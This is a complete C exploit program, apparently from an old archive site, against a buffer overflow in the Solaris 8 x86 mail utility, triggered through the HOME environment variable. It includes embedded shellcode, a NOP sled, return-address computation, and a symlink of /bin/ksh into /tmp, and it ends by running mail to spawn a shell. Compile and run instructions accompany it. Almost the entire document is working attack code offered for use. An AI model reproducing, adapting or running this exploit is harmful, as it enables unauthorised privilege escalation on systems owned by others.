home *** CD-ROM | disk | FTP | other *** search
- /*
- * Solaris x86 mail HOME environment variable buffer overflow exploit
- * by Virtualcat (virtualcat@hotmail.com)
- * (virtualcat@xfocus.org)
- * (http://www.xfocus.org)
- *
- * Compile: gcc -o mailex mailex.c
- * Run : ./mailex [Adjustment]
- *
- * Tested on Solaris 8 (x86). Default should work.
- */
-
- #include <fcntl.h>
- #include <unistd.h>
- #include <stdlib.h>
-
- #define RET_DIS 1028
- #define NOP 0x90
- #define NNOP 512
-
- #define ENV_VAR "HOME"
-
- #define USER_UPPER_MAGIC 0x08047fff
-
- /* Shell code taken from Pablo Sor's "mailx -F" exploit code */
- char shellCode[]=
- "\xeb\x1c\x5e\x33\xc0\x33\xdb\xb3\x08\xfe\xc3\x2b\xf3\x88\x06"
- "\x6a\x06\x50\xb0\x88\x9a\xff\xff\xff\xff\x07\xee\xeb\x06\x90"
- "\xe8\xdf\xff\xff\xff\x55\x8b\xec\x83\xec\x08\xeb\x5d\x33\xc0"
- "\xb0\x3a\xfe\xc0\xeb\x16\xc3\x33\xc0\x40\xeb\x10\xc3\x5e\x33"
- "\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88\x7e\x06\xeb\x05\xe8\xec"
- "\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f\xc3\x5e\x33\xc0\x89"
- "\x76\x08\x88\x46\x07\x33\xd2\xb2\x06\x02\xd2\x89\x04\x16\x50"
- "\x8d\x46\x08\x50\x8b\x46\x08\x50\xe8\xb5\xff\xff\xff\x33\xd2"
- "\xb2\x06\x02\xd2\x03\xe2\x6a\x01\xe8\xaf\xff\xff\xff\x83\xc4"
- "\x04\xe8\xc9\xff\xff\xff\x2f\x74\x6d\x70\x2f\x78\x78";
-
- int get_esp()
- {
- __asm__("mov %esp,%eax");
- }
-
- int getEnvAddr(const char* envPtr)
- {
- int envAddr = NULL;
- int retCode = 0;
-
- char* charPtr = (char *) get_esp();
-
- /* Search for the starting address of the environment string for */
- /* the specified environment variable */
- while((unsigned int) charPtr < (unsigned int) USER_UPPER_MAGIC)
- {
- retCode = memcmp((unsigned char *) charPtr++, envPtr, 4);
- /* Found */
- if(retCode == 0)
- {
- envAddr = (int) (charPtr - 1);
- break;
- }
- }
-
- return envAddr;
- }
-
- int main(int argc, char** argv)
- {
-
- char buff[256] = {0};
-
- int* intPtr = NULL;
- char* buffPtr = NULL;
- char* charPtr = NULL;
-
- int retAddr = 0;
- int retValue = 0;
-
-
- int buffLen = 0;
- int adjustment = 0;
- int strLen = 0;
- int alignment = 0;
- int diff = 0;
- int i;
-
- int shellCodeLen = strlen(shellCode);
-
- if(argc == 2)
- {
- adjustment = atoi(argv[1]);
- }
-
- buffLen = strlen(ENV_VAR) + RET_DIS + NNOP + shellCodeLen + 1;
-
- charPtr = getenv(ENV_VAR);
-
- /* Adjust the stupid alignment */
- strLen = strlen(charPtr) + 1;
- alignment = strLen % 4;
- if(alignment != 0)
- {
- alignment = 4 - alignment;
- strLen += alignment;
- }
-
- alignment = buffLen % 4;
- if(alignment != 0)
- {
- alignment = 4 - alignment;
- buffLen += alignment;
- }
-
- retValue = getEnvAddr(ENV_VAR);
-
- diff = buffLen - strLen;
-
- retAddr = retValue - diff + strlen(ENV_VAR) + 1;
-
- alignment = retAddr % 4;
-
- if(alignment != 0)
- {
- alignment = 4 - alignment;
- }
- retAddr += RET_DIS + alignment + adjustment;
-
- /* If the $HOME/dead.letter file exists, then delete it */
- /* Otherwise the overfolow won't take place */
- strcpy(buff, charPtr);
- strcat(buff, "/dead.letter");
-
- i = access(buff, F_OK);
- if(i == 0)
- {
- unlink(buff);
- }
-
- /* Allocate memory for the evil buffer */
- buffPtr = (char *) malloc(buffLen);
-
- if(buffPtr != NULL)
- {
-
- strcpy(buffPtr, ENV_VAR);
- strcat(buffPtr, "=");
- charPtr = (char *) (buffPtr + strlen(buffPtr));
-
- /* Fill the rest of the buffer with 'A' */
- memset(charPtr, 0x41, buffLen - strlen(buffPtr));
-
- /* Butt in the return address */
- intPtr = (int *) (charPtr + RET_DIS);
- *intPtr++ = retAddr;
-
- /* Make sure the NOPs are located word aligned */
- charPtr = (char *) intPtr;
- charPtr += alignment;
-
- for(i=0; i<NNOP; i++)
- {
- *charPtr++ = NOP;
- }
-
- for(i=0; i<shellCodeLen; i++)
- {
- *charPtr++ = shellCode[i];
- }
- *charPtr = 0;
-
- symlink("/bin/ksh","/tmp/xx");
-
- putenv(buffPtr);
-
- printf("Jumping to 0x%.8x\n", retAddr);
- printf("Press Ctrl+C to contine, have fun!\n");
-
- system("/usr/bin/mail a");
- unlink("/tmp/xx");
- }
- else
- {
- printf("No more free memory!");
- }
- }
-
- /*..oO( I am virtual )Oo.. */